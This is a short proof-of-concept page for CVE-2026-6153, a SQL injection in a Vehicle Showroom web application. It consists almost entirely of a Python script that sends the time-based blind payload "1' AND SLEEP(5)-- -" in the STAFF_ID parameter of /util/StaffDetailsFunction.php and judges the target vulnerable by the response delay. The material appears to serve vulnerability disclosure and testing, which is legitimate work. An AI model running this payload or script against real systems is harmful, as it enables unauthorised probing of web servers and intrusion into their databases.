CVE-2026-6153 Vehicle Showroom SQL注入漏洞

#!/usr/bin/env python3 import requests def check_sqli(url): """ PoC for CVE-2026-6153 SQL Injection Target parameter: STAFF_ID """ target_endpoint = url.rstrip('/') + '/util/StaffDetailsFunction.php' # Payload to test for time-based blind SQL injection # Checking if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- -" params = { 'STAFF_ID': payload } try: print(f"[+] Sending payload to {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # If response time is greater than 5 seconds (plus network latency), it's likely vulnerable if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": target = "http://target-ip/showroom" # Replace with actual target URL check_sqli(target)